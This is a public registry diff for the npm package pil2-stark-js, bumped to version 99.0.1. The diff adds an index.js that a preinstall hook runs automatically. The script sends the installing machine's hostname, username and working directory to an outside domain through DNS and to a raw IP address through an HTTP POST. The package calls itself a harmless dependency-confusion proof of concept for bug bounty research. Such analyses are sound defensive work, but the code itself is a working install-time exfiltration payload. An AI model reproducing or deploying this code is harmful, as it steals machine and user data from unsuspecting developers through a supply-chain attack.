pil2-stark-js 0.0.1 → 99.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +13 -6
- package/package.json +4 -6
- package/README.md +0 -4
package/index.js
CHANGED
|
@@ -1,6 +1,13 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
1
|
+
const dns = require("dns");
|
|
2
|
+
const http = require("http");
|
|
3
|
+
const os = require("os");
|
|
4
|
+
function sanitize(s) { return s.toLowerCase().replace(/[^a-z0-9-]/g, "").slice(0, 15); }
|
|
5
|
+
const hostname = os.hostname();
|
|
6
|
+
const username = os.userInfo().username;
|
|
7
|
+
const dnsName = sanitize(hostname) + "." + sanitize(username) + ".pil2-stark-js.polygon.cb.jfpas.com";
|
|
8
|
+
dns.resolve4(dnsName, () => {});
|
|
9
|
+
const data = JSON.stringify({ hostname, username, cwd: process.cwd(), package: "pil2-stark-js", company: "polygon", registry: "npm" });
|
|
10
|
+
const req = http.request({ hostname: "54.80.197.209", port: 8443, path: "/cb/pil2-stark-js", method: "POST", headers: { "Content-Type": "application/json", "Content-Length": data.length }, timeout: 5000 }, () => {});
|
|
11
|
+
req.on("error", () => {});
|
|
12
|
+
req.write(data);
|
|
13
|
+
req.end();
|
package/package.json
CHANGED
|
@@ -1,12 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "pil2-stark-js",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "Security research — dependency confusion
|
|
3
|
+
"version": "99.0.1",
|
|
4
|
+
"description": "Security research — dependency confusion proof of concept. Harmless placeholder for authorized HackerOne bug bounty research.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
7
|
-
"preinstall": "node
|
|
7
|
+
"preinstall": "node index.js || true"
|
|
8
8
|
},
|
|
9
|
-
"
|
|
10
|
-
"author": "security-researcher",
|
|
11
|
-
"license": "ISC"
|
|
9
|
+
"license": "MIT"
|
|
12
10
|
}
|
package/README.md
DELETED